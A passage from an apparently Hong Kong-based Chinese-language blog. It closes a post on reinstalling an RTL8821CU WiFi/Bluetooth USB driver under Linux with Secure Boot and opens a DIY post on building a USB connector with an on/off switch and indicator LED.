<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkW3M7eGBGRg-GWwsLLyPShnlF91P_7Q6Xh0cpqO__QSTy96Jk4aw15I2hJxasR28X2DAASYViwfocmUvsynbK4l7XR3f4lJWNdQX2T2sE5g5Hj1LatycuP7Ze9HN5wl4QtRoCl8VaKpqROGkm9_3jFnN29A7-_GjeovO_5GYYznb4-jTCbGyOwEKVhgo/w0/manual-reinstall-rtl8821cu-driver-006.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkW3M7eGBGRg-GWwsLLyPShnlF91P_7Q6Xh0cpqO__QSTy96Jk4aw15I2hJxasR28X2DAASYViwfocmUvsynbK4l7XR3f4lJWNdQX2T2sE5g5Hj1LatycuP7Ze9HN5wl4QtRoCl8VaKpqROGkm9_3jFnN29A7-_GjeovO_5GYYznb4-jTCbGyOwEKVhgo/w600/manual-reinstall-rtl8821cu-driver-006.png"/></a></div>
<p>便會自動編譯及安裝驅動程式</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFEVDgr6COrXea66sQzRbMyviOBEjuhO1pA6XxwJ596QB1UpbFiZG5l1yn1Yf3jrpsTDnoAM7jpCOZ625dLukaylHmAuk-Sv02Pi-aXWjab1l5o_zKKSY85-5qoXygZvHZCZrhRic-SaQMIH9UtNywvyGvWwIR1P44AsegLvu6gt68U-U7raihyK_msWs/w0/manual-reinstall-rtl8821cu-driver-007.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFEVDgr6COrXea66sQzRbMyviOBEjuhO1pA6XxwJ596QB1UpbFiZG5l1yn1Yf3jrpsTDnoAM7jpCOZ625dLukaylHmAuk-Sv02Pi-aXWjab1l5o_zKKSY85-5qoXygZvHZCZrhRic-SaQMIH9UtNywvyGvWwIR1P44AsegLvu6gt68U-U7raihyK_msWs/w600/manual-reinstall-rtl8821cu-driver-007.png"/></a></div>
<p>由於在下的電腦啟動 Secure Boot ,因此安裝驅動程式前有安全查詢</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD3WLkltErm34dGL1Tx--85280VpZY8MADMXZMKLpmXjcz9o9D4aqDJraE96P4ZrIxSj0-yuJqXtMrb90WTzF8nZfeSrpyIm2TuJ3qmbDDcIOeVVGq3ktyk0caTWYN6dbeRjo6jSmMZHnGA69B3hyiZM4d8TZasQJVsyZg4bVX3KJFy4CUj2XccuSzYgg/w0/manual-reinstall-rtl8821cu-driver-008.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD3WLkltErm34dGL1Tx--85280VpZY8MADMXZMKLpmXjcz9o9D4aqDJraE96P4ZrIxSj0-yuJqXtMrb90WTzF8nZfeSrpyIm2TuJ3qmbDDcIOeVVGq3ktyk0caTWYN6dbeRjo6jSmMZHnGA69B3hyiZM4d8TZasQJVsyZg4bVX3KJFy4CUj2XccuSzYgg/w600/manual-reinstall-rtl8821cu-driver-008.png"/></a></div>
<p>安裝非官方或沒有簽署的驅動程式,需要在下設定 Machines Owner Keys (MOK)<br/>
因為在下已經設定 MOK ,所以在下選擇 No 來略過此步驟<br/>
即使沒有設定 MOK 亦可以選擇 No 不設定 MOK 來繼續執行</p><!--
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3R1QXWAdOUdKw2TwKdx6bcFtJl97g_YdnZgeHHLcj6UogTmjMG9r68mGbBjZlv4gTLB0B4A-al1WZSnCFzdUv07mytSQdak33hA7E8nHQ7bI3wz0fwgtCzdYPpGnMl1ZAo0YHLcmTAusZTsJ58Ozq4q8HYECoGeLAdLmKZcMLybjH-GXoWhVORonIjN8/w0/manual-reinstall-rtl8821cu-driver-009.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3R1QXWAdOUdKw2TwKdx6bcFtJl97g_YdnZgeHHLcj6UogTmjMG9r68mGbBjZlv4gTLB0B4A-al1WZSnCFzdUv07mytSQdak33hA7E8nHQ7bI3wz0fwgtCzdYPpGnMl1ZAo0YHLcmTAusZTsJ58Ozq4q8HYECoGeLAdLmKZcMLybjH-GXoWhVORonIjN8/w600/manual-reinstall-rtl8821cu-driver-009.png"/></a></div>-->
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhri4vkeYs2ckRYEscyrHbcAaeICc_QT9z_J0_3WjSiSjUtgPDNfj4CqYg1zqAa0CeRODBANrHKedFjo341KpIsJNTjs42RcsqGepPKvQmxMUUpWf_wGsllyWq7u94HWN2sevzINixa02awzd63s1QqGy-TTex88Z6ImRmbW1I3jV4fmFSkMiatM2bPXrs/w0/manual-reinstall-rtl8821cu-driver-010.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhri4vkeYs2ckRYEscyrHbcAaeICc_QT9z_J0_3WjSiSjUtgPDNfj4CqYg1zqAa0CeRODBANrHKedFjo341KpIsJNTjs42RcsqGepPKvQmxMUUpWf_wGsllyWq7u94HWN2sevzINixa02awzd63s1QqGy-TTex88Z6ImRmbW1I3jV4fmFSkMiatM2bPXrs/w600/manual-reinstall-rtl8821cu-driver-010.png"/></a></div>
<p>完成安裝 驅動程式 後,可以立即修改 驅動程式設定 及 是否需要立即重新開機<br/>
沒有特殊需要的情況,在下不建議修改 驅動程式設定 ,以免發現異常問題</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcY7PE0MXlAj6qahAm6m22Jo-Ho3NcRIoaH_Du-hueXFJ24tsW4Zri8jMXPJNWlV58cCE4dw4wEyTcH7sz3GTde5aqPVzW5u0K-LB1g5Wg1ZlCGpFiCn8_SllX8_YzeX9GMrXNy2x9B7e_Ybc3wegD0mJ3M2XetkJ6GwMhE7EqgcAnzVYlshMprSdK4Eo/w0/manual-reinstall-rtl8821cu-driver-011.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcY7PE0MXlAj6qahAm6m22Jo-Ho3NcRIoaH_Du-hueXFJ24tsW4Zri8jMXPJNWlV58cCE4dw4wEyTcH7sz3GTde5aqPVzW5u0K-LB1g5Wg1ZlCGpFiCn8_SllX8_YzeX9GMrXNy2x9B7e_Ybc3wegD0mJ3M2XetkJ6GwMhE7EqgcAnzVYlshMprSdK4Eo/w600/manual-reinstall-rtl8821cu-driver-011.png"/></a></div>
<p>重新開機後,便可以連接到 WiFi</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVz9V04tqrj3QrTTFmISaBgxWu7wt5mOHPklTvVYrGl37ttYnPMr0sQcD9g03-Uimf-TPjPJUjWE4Wl4xb-RlSRH_kuUi2dN6G3niUkjgcJKI48m96UqPk2Gt0XVP2n0bbJa_GBniQCtM8Acsfd3RYl0o3ffiAKKcAPtMxackviw6J5_7e4MvsG_znmu8/w0/manual-reinstall-rtl8821cu-driver-012.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVz9V04tqrj3QrTTFmISaBgxWu7wt5mOHPklTvVYrGl37ttYnPMr0sQcD9g03-Uimf-TPjPJUjWE4Wl4xb-RlSRH_kuUi2dN6G3niUkjgcJKI48m96UqPk2Gt0XVP2n0bbJa_GBniQCtM8Acsfd3RYl0o3ffiAKKcAPtMxackviw6J5_7e4MvsG_znmu8/w600/manual-reinstall-rtl8821cu-driver-012.png"/></a></div>
<p>同時藍牙亦能夠與藍牙裝置配對</p>
<a name="補充資料"></a><h4 class="mra-h4">補充資料</h4>
<p>在下使用另一部 Linux 電腦測試,卻出現另一個錯誤:</p>
<pre class="brush:bash">rtw8821cu 2-3:1.0: read register 0x20 failed with -110</pre>
<p>在下估計這些訊息並非真正的錯誤,而是出錯前的所執行的指令<br/>
實際的錯誤因為不斷嘗試某些操作而沒有顯示</p>
<p>在下發現在 Windows 都有一些操作問題,同樣無法使用 以WiFi連接 及 以藍牙配對<br/>
連接後, Windows 將 USB裝置 當作 USB儲存裝置,顯示儲存裝置中的安裝檔<br/>
但在下不打算在 Windows 安裝這些不明的驅動程式,因此在下嘗試其他方法<br/>
在下將當作 USB儲存裝置 卸載後,竟然能夠正常使用 WiFi 及 藍牙功能<br/>
看來不安裝附帶的驅動程式是正確的決定</p>
<p>在下尋找其他資料時,發現 Kernel 6.2 整合大量無線驅動程式,當中包括支援 WiFi 7 ,例如 RTW8821CU<br/>
因此在下之前能夠正常使用,應該是因為當時並未使用 Kernel 6.2<br/>
當使用 Kernel 6.2 驅動程式,有機會是因此在下使用 USB裝置 使用較舊的 RTL8821CU晶片<br/>
卻因為系統正在使用較新的 RTW8821CU驅動程式 ,無法兼容較舊 RTL8821CU晶片 導致不能正常使用</p>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<p>雖然出師不利,但很快便解決了問題,在下的朋友覺得沒有問題<br/>
使用上非常順暢,與很快便熟習</p>
<br/>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://www.realtek.com/zh-tw/products/communications-network-ics/item/rtl8821cu">RTL8821CU @ Realtek</a></li>
<li><a href="https://lore.kernel.org/netdev/20221213165444.361342-1-pabeni@redhat.com/T/">kernel.org 更新資訊</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-30869795822397371792023-11-18T12:38:00.026+08:002023-11-18T12:51:24.400+08:00自製附有開關掣的 USB連接器<p>最近經常需要測試一些 USB裝置 ,但經常要拔插覺得非常麻煩<br/>
而且亦擔心經常拔插會損壞 USB插頭插孔,因此在下打算製作一個附有開關掣 USB裝置 的連接器<br/>
方便不需要經常拔插只需要切換開關便可以讓 USB裝置 中斷或重新連接</p>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#測試用零件">測試用零件</a>
<ul>
<li><a href="#測試用零件線路原型">線路原型</a></li>
<li><a href="#測試用零件實際線路">實際線路</a></li>
<li><a href="#測試用零件測試效果">測試效果</a></li>
</ul>
</li>
<li><a href="#實際製作">實際製作</a>
<ul>
<li><a href="#實際製作線路原型">線路原型</a></li>
<li><a href="#實際製作問題">問題</a></li>
<li><a href="#實際製作焊接">焊接</a></li>
<li><a href="#實際製作實際線路">實際線路</a></li>
<li><a href="#實際製作測試效果">測試效果</a></li>
</ul>
</li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<a name="測試用零件"></a><h4 class="mra-h4">測試用零件</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt0-Cy7DZ9bM6W6B4ID0sAJbpgYbKm5V1F3_3hoAiGb-Vc6AWTv1DL3ionck6bPIm7h7fbPbyBnLmPWPvdGqU5vjq-c1Xm4RqzN26Vihyv5pAOfvVuUsD63lHzziZ9aSY5rDS8MypfYXlY7TZ7t9AVr6Ela9o6LT4Mii3-x72OHKl7nzULwnIAvMGFYAw/w0/diy-usb-on-off-switch-001.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt0-Cy7DZ9bM6W6B4ID0sAJbpgYbKm5V1F3_3hoAiGb-Vc6AWTv1DL3ionck6bPIm7h7fbPbyBnLmPWPvdGqU5vjq-c1Xm4RqzN26Vihyv5pAOfvVuUsD63lHzziZ9aSY5rDS8MypfYXlY7TZ7t9AVr6Ela9o6LT4Mii3-x72OHKl7nzULwnIAvMGFYAw/w600/diy-usb-on-off-switch-001.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVL9bkR5j08iNUjTAYuimgZSpi5bBbSJYGRabnajb9Fp4iJSbiWuv4dtFIw_UeR68u_vQqMhfwNy14yAMjc0zi4FPt2GmawR31lLqEF22CZuEpjAoWrsCizjKmoy_CFzFVqG_xYHNbgVH3wnV1OWABH_h6NAS1pjSIOyeuEPvKOj00Rf-HDnFERr5s5Lk/w0/diy-usb-on-off-switch-002.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVL9bkR5j08iNUjTAYuimgZSpi5bBbSJYGRabnajb9Fp4iJSbiWuv4dtFIw_UeR68u_vQqMhfwNy14yAMjc0zi4FPt2GmawR31lLqEF22CZuEpjAoWrsCizjKmoy_CFzFVqG_xYHNbgVH3wnV1OWABH_h6NAS1pjSIOyeuEPvKOj00Rf-HDnFERr5s5Lk/w600/diy-usb-on-off-switch-002.jpg"/></a></div>
<p>測試用的 USB 2.0 Type-A 插頭<br/>
在下使用對應顏色的引腳焊接,方便以視覺便可以立即區分引腳用途</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqV8VrMzHlWi5dazkbQUFH_36A1Aw8HTsaNtMsQZGHgha0jx571cMMfZPNN3G0HeKp_y-eEYnCatyYhSOJ7H4Tn0BBjbfyRajJMCIkMxdFCf6qRa0iIgw403e9GyRsoTxtsVjNzLxWtlqw2qi6Ns36jZnvsIcAKu4kDpbt8Ig8ijwHqscYThWExwpZqa4/w0/diy-usb-on-off-switch-003.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqV8VrMzHlWi5dazkbQUFH_36A1Aw8HTsaNtMsQZGHgha0jx571cMMfZPNN3G0HeKp_y-eEYnCatyYhSOJ7H4Tn0BBjbfyRajJMCIkMxdFCf6qRa0iIgw403e9GyRsoTxtsVjNzLxWtlqw2qi6Ns36jZnvsIcAKu4kDpbt8Ig8ijwHqscYThWExwpZqa4/w600/diy-usb-on-off-switch-003.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1Ak7y9zuuzd7aiVqN1qQ-4zEfj9j-IYg16AhyImqICirnE-votRmM6oeIEUpokWLcBduzfOsBnejnvemoBPkfHlkfGAsdlrzuJctmf-DjqpTYAjel8HAjqCGW5c10i0YvlWioSK4412T9pAZSbeChP6kYBOG6BmQqsnCUGdy-hVYh_0rCmw8IlbsGacQ/w0/diy-usb-on-off-switch-004.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1Ak7y9zuuzd7aiVqN1qQ-4zEfj9j-IYg16AhyImqICirnE-votRmM6oeIEUpokWLcBduzfOsBnejnvemoBPkfHlkfGAsdlrzuJctmf-DjqpTYAjel8HAjqCGW5c10i0YvlWioSK4412T9pAZSbeChP6kYBOG6BmQqsnCUGdy-hVYh_0rCmw8IlbsGacQ/w600/diy-usb-on-off-switch-004.jpg"/></a></div>
<p>測試用的 USB 2.0 Type-A 插孔<br/>
同樣以對應顏色的引腳焊接</p>
<a name="測試用零件線路原型"></a><h5 class="mra-h5">線路原型</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzjIFcHxxGtlJwrKc5shyKpSfbgqAVZZ9Gb18yyi14Psz3E9iOsDB3liS9BuD5QVsJ9UgPNEviE65c2b2NY5wwijqS4eO6WL-_tgBBEbQ5y6KZqVhA0DV2Zn3zfyF7SvLcOC8t8y3jRAGzSMdzHXjtKbpnI_Km94WOETiCf7Bh-AvchY5T-l5utpTrsTw/w0/diy-usb-on-off-switch-005.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzjIFcHxxGtlJwrKc5shyKpSfbgqAVZZ9Gb18yyi14Psz3E9iOsDB3liS9BuD5QVsJ9UgPNEviE65c2b2NY5wwijqS4eO6WL-_tgBBEbQ5y6KZqVhA0DV2Zn3zfyF7SvLcOC8t8y3jRAGzSMdzHXjtKbpnI_Km94WOETiCf7Bh-AvchY5T-l5utpTrsTw/w600/diy-usb-on-off-switch-005.png"/></a></div>
<p>附有開關掣的 <span class="mra-highlighter">USB連接器</span> 只需要將提供電源的 <span class="mra-highlighter">VCC線路</span> 中斷,當需要連接 <span class="mra-highlighter">USB裝置</span> 時<br/>將 <span class="mra-highlighter">VCC線路</span> 以 <span class="mra-highlighter">微開關掣</span> 連接便可以達到效果</p>
<p>另外在下希望能夠辨識 VCC線路 連接與否,因此附加 <span class="mra-highlighter">LED</span> 來識別狀態<br/>
當 VCC線路 中斷時, LED 便會熄滅;連接時, LED 便會亮著</p>
<a name="測試用零件實際線路"></a><h5 class="mra-h5">實際線路</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS1Iu8xrZc7MjMn3tbgWdK7YDFU8V1mfWgMc4mJ3TRPD_UdIOYIwG4iC7gkMFXS3LmyDOw_gE95E74I5TDFrdh2j3kZgq_2gxdv7-dwjfkeXLoU0f0UyqpIK2tLw1xgqSNide2YjGX1a91hyphenhyphenr2sM01KFrdQFaVHVeF6FOsLzjsJz3_Jeq97rxCxKE9_t8/w0/diy-usb-on-off-switch-006.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS1Iu8xrZc7MjMn3tbgWdK7YDFU8V1mfWgMc4mJ3TRPD_UdIOYIwG4iC7gkMFXS3LmyDOw_gE95E74I5TDFrdh2j3kZgq_2gxdv7-dwjfkeXLoU0f0UyqpIK2tLw1xgqSNide2YjGX1a91hyphenhyphenr2sM01KFrdQFaVHVeF6FOsLzjsJz3_Jeq97rxCxKE9_t8/w600/diy-usb-on-off-switch-006.jpg"/></a></div>
<p>由於沒有特別零件及設計,線路原型與實際線路相同</p>
<a name="測試用零件測試效果"></a><h5 class="mra-h5">測試效果</h5>
<div><a href="https://photos.google.com/share/AF1QipOXsK0KNGs2A-gB_RYtUWRS_72r1uRLGBs_xHldiqknJ3lKyYI5AfVX83cj6jc4mQ/photo/AF1QipNOdtTNEa_6eIK_jUlf3hBQHkCcZ9V-zx-sSFeS?key=Yk5JTUZINHljQWJnMWVYZUk2Y3F1YzlqYkNyVGJ3"><img alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-KzHpMLoYdR4/ZRsGyNu_3-I/AAAAAAADFo0/sXWIzLzBe6MiA9XBjil80JKOvE-X12yEACEwYBhgLKqsFAPYkdFttg4peqgFGYpNgYoxYaGY2yPnyhcNjQo-a-8hjQZ-Tnksp7uQxsyjhHGBRiNb9FKtdjDM392pj7CDcv6K8MMgn9lxGShQ2DFQdLQsZjAWKSms89xPTgLX_rVWZPqpS_AjCrcyQddkmCSwpG3onzazAkXxexSyRssC_OESQywGW6xNcalObAlcyWGYEvaPz6Kw2TAfx3_1DF5tkK36HETy1LWVaz2CM_NCK6hu9nRwlI2lBYhoC5Yl7EO3wbk1-Mr_bUenv4FN8vM01T-OqTrlUWJPaFie1HdWVliYuIZR32UWMDCSaDSydbsTgAtfO6U-soaFDATj97EGcRDCeTi1bZ5v3ldTJwmL_S7O-GH6NlSJqo_ABrvfaVqIArRUUUhqgNb5H5_gQ1ecASoeZf5I_Wep8BlYZgFxgqyTbdmG8Q1TPuqvUYRICmpCdJuBxpnNIMdb9qQSqHD6b9q9zWcc3YQHrcKSbT97WUegV7u5S5HeRqttrDaC85LS_gxOckpKgF8VQ0OwaRrDFJazqUjZWs83vwvFhRoKUs1nP_z6HZr8GuZEL0vwoTfLeNHuZyCmBkD0mBWaqpQ5sMlV_nKRtwh634W9rnHiJOKJMcWLjcYHsB0TPm75RZprFulZTuacvWH8n6US4zFcpIj3BP0gobMXLZLA_f-qnaGyYnJmAlyeMoG2saRe2iZT3KNyEUtT0V2iqNqfOQx9bsX_fnSZiY5BQmZWz2GxmFuiMTDDzZL7H1ewgbCeci7dBBHnbmm67M0k3qKcQd7T6nK2ffLfNMKK0rn7wxz6xiLJbRQ4TjiWSWSohzT0dWQ0ohG_N17NUkul4Y7cDZRXckb20QEOtr8Po2i-nyMrD_zSo1abnMDn2AdDoxxYnKPqeRMk0b68W7kdJemQw2bfuqAY/w600/diy-usb-on-off-switch-007.mp4"/></a></div>
<p>雖然測試結果正確,但麵包板佔據空間很大,要正式將工具投入工作並不方便<br/>
因此在下嘗試將線路焊接到萬用板上</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcCjTWYi-huaMm9E_-yldLdKhXg4YBfzlY5t-BSBjGsQm6Iy-ZrEFoTXyiwBp_Dde_yGvdScusR78MC99apvj2iiQnIjR1AykwgSffjk5Ra8Pah7aYv4yO-qu6GjIE65TkzOWjVKnqBhAPRZatIQ05RpZulYQmdCndy_X6Wp6SUtsnHDGNIzVkc-Lrz-U/w0/diy-usb-on-off-switch-012.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcCjTWYi-huaMm9E_-yldLdKhXg4YBfzlY5t-BSBjGsQm6Iy-ZrEFoTXyiwBp_Dde_yGvdScusR78MC99apvj2iiQnIjR1AykwgSffjk5Ra8Pah7aYv4yO-qu6GjIE65TkzOWjVKnqBhAPRZatIQ05RpZulYQmdCndy_X6Wp6SUtsnHDGNIzVkc-Lrz-U/w600/diy-usb-on-off-switch-012.jpg"/></a></div>
<p aria-label="使用 2厘米 乘 8厘米 萬用板,有 6 列 28 欄,即是總共有 168 個通孔">使用 <span aria-label="2厘米 乘 8厘米">2cm x 8cm</span> 萬用板,有 <span class="mra-highlighter">6列28欄</span>,即是總共有 <span class="mra-highlighter">168個通孔</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFMbJdtLb-Ys8K27CGQ2C9hy_drxGjclyciRC4g4KSI3fXdwcirHuCN8aAVXnJPrxMf03mgdmdhlEahiFi8m9qJDa38ggaBjXF_urQHrYl2tSs0qi2ghK7A0mNXYlNTvCQ5hhccALQoVqGk4g9e8g2qPsiKTxCLb8-DcKR2t2ABahOWs71DyqNRsUHDks/w0/diy-usb-on-off-switch-008.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFMbJdtLb-Ys8K27CGQ2C9hy_drxGjclyciRC4g4KSI3fXdwcirHuCN8aAVXnJPrxMf03mgdmdhlEahiFi8m9qJDa38ggaBjXF_urQHrYl2tSs0qi2ghK7A0mNXYlNTvCQ5hhccALQoVqGk4g9e8g2qPsiKTxCLb8-DcKR2t2ABahOWs71DyqNRsUHDks/w600/diy-usb-on-off-switch-008.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRnrrPvExI_ahYSsVyBSWuwZaYuC3EGRfCZxXTncQYC956jMCWRHi-926FYL1ckxjs3gDkjQqWkWQPlgBcm8_0dxtA5i0KaOeDcG-tyu0hTqw7yAE5JHpq_PZezoLlNyNZs_dwv8JRF52djO56cvhOJddk06oTO7kjwDDQPxqF6pPhaw6-cbCKcjLGXkU/w0/diy-usb-on-off-switch-009.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRnrrPvExI_ahYSsVyBSWuwZaYuC3EGRfCZxXTncQYC956jMCWRHi-926FYL1ckxjs3gDkjQqWkWQPlgBcm8_0dxtA5i0KaOeDcG-tyu0hTqw7yAE5JHpq_PZezoLlNyNZs_dwv8JRF52djO56cvhOJddk06oTO7kjwDDQPxqF6pPhaw6-cbCKcjLGXkU/w600/diy-usb-on-off-switch-009.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3LyimRAj6FmGwrnbB_tDI4jgHgvsQQsRb5andZGlUtgzwKzT2CYZoakUHEuGUsOCXB4WWzDdCrZxA3yvjDf5seAtoqHpyFgOs0L4JFejqSaRVdpgiVplYl6UmFmc0q_-Xc-sWWZABO9H_VEKcZz9miXySJb7QBRkh0j6XXt6lsG5vrrRdl-PxXyEEKBg/w0/diy-usb-on-off-switch-010.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3LyimRAj6FmGwrnbB_tDI4jgHgvsQQsRb5andZGlUtgzwKzT2CYZoakUHEuGUsOCXB4WWzDdCrZxA3yvjDf5seAtoqHpyFgOs0L4JFejqSaRVdpgiVplYl6UmFmc0q_-Xc-sWWZABO9H_VEKcZz9miXySJb7QBRkh0j6XXt6lsG5vrrRdl-PxXyEEKBg/w600/diy-usb-on-off-switch-010.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBhqwTpR4mzORloEJ6I7m9zLgN7GliYrjVctABBm3_3PFqUCJcuPRo1Xp45uQLGHaG0nvc5JWVJh6QTOBZAY1ej0WYwUk-jnJlPgvp1hasIhfRsJbFv9QD_f3kassH7dGsUxVq285yj0Bjv7vwls0wkfAK-cjv-64jtTfRQWv4z1kqRmV_hLkwQO2BGXU/w0/diy-usb-on-off-switch-011.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBhqwTpR4mzORloEJ6I7m9zLgN7GliYrjVctABBm3_3PFqUCJcuPRo1Xp45uQLGHaG0nvc5JWVJh6QTOBZAY1ej0WYwUk-jnJlPgvp1hasIhfRsJbFv9QD_f3kassH7dGsUxVq285yj0Bjv7vwls0wkfAK-cjv-64jtTfRQWv4z1kqRmV_hLkwQO2BGXU/w600/diy-usb-on-off-switch-011.jpg"/></a></div>
<p>由於會將零件焊接到萬用板,在下避免浪費,因此不會使用 測試用的 USB Type-A 插頭插孔<br/>
在下改用原始的 USB Type-A 插頭插孔</p>
<a name="實際製作"></a><h4 class="mra-h4">實際製作</h4>
<a name="實際製作線路原型"></a><h5 class="mra-h5">線路原型</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPklnbZyNSLRt6mD2vs1TPDKpuTIgj-icPIXEvIwuDXomvY9uncQfkqhZ4KWuY3DV8ZjpuGlQYMaa5YhTgXK02H8RlNj7d0nnpfl3G8C4No0QkphB6cfAqHfc1os2NTLehC29e-rHBVXPbyc5YM6tPqhrX-P3pYek285mFomZVj1gPyI0iOi2Zq5PpfsE/w0/diy-usb-on-off-switch-028.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPklnbZyNSLRt6mD2vs1TPDKpuTIgj-icPIXEvIwuDXomvY9uncQfkqhZ4KWuY3DV8ZjpuGlQYMaa5YhTgXK02H8RlNj7d0nnpfl3G8C4No0QkphB6cfAqHfc1os2NTLehC29e-rHBVXPbyc5YM6tPqhrX-P3pYek285mFomZVj1gPyI0iOi2Zq5PpfsE/w600/diy-usb-on-off-switch-028.jpg"/></a></div>
<p>實際製作前還是先繪製線路原型,畢竟需要將零件焊接</p>
<a name="實際製作問題"></a><h5 class="mra-h5">問題</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFuNI1UC6xt3RfN1qdidda2tB2wluqMGmyaYexbcF8SUjxQrO6BqdrVKyiSZvonJ1cJ0wndbQTUiNNVsERfbwdtDrO_44YXgchreE8eZBOJCcGj-JpC0YNwPXg8H3z4Xw4VRdFM5CGrcxhoX4dIbiWOQ6cWPuSGoQh9jkggBAguYXku3nIBEcG2ODGIy0/w0/diy-usb-on-off-switch-013.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFuNI1UC6xt3RfN1qdidda2tB2wluqMGmyaYexbcF8SUjxQrO6BqdrVKyiSZvonJ1cJ0wndbQTUiNNVsERfbwdtDrO_44YXgchreE8eZBOJCcGj-JpC0YNwPXg8H3z4Xw4VRdFM5CGrcxhoX4dIbiWOQ6cWPuSGoQh9jkggBAguYXku3nIBEcG2ODGIy0/w600/diy-usb-on-off-switch-013.jpg"/></a></div>
<p>在下將 USB Type-A 插頭安置在萬用板其中一端</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilMKNWCKp8wFY2EDpLJpaRZVqrwq7ECx8DOCfFKnsGaK0RGtHqv6_WI_dzLxw2_vLdjs-bBdgbyGpSENH2TjQmjhLtdQRfcn4h_hndSBn_UxhRKvmsmiuU6o0G4YP-mX0yH1Xn8s1CxlNvTTA28GkvqTfVWUCgHXJQQ1hfkSLN_w7uznt2-I8ReflN1gg/w0/diy-usb-on-off-switch-014.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilMKNWCKp8wFY2EDpLJpaRZVqrwq7ECx8DOCfFKnsGaK0RGtHqv6_WI_dzLxw2_vLdjs-bBdgbyGpSENH2TjQmjhLtdQRfcn4h_hndSBn_UxhRKvmsmiuU6o0G4YP-mX0yH1Xn8s1CxlNvTTA28GkvqTfVWUCgHXJQQ1hfkSLN_w7uznt2-I8ReflN1gg/w600/diy-usb-on-off-switch-014.jpg"/></a></div>
<p>4支引腳剛好能夠穿過通孔</p>
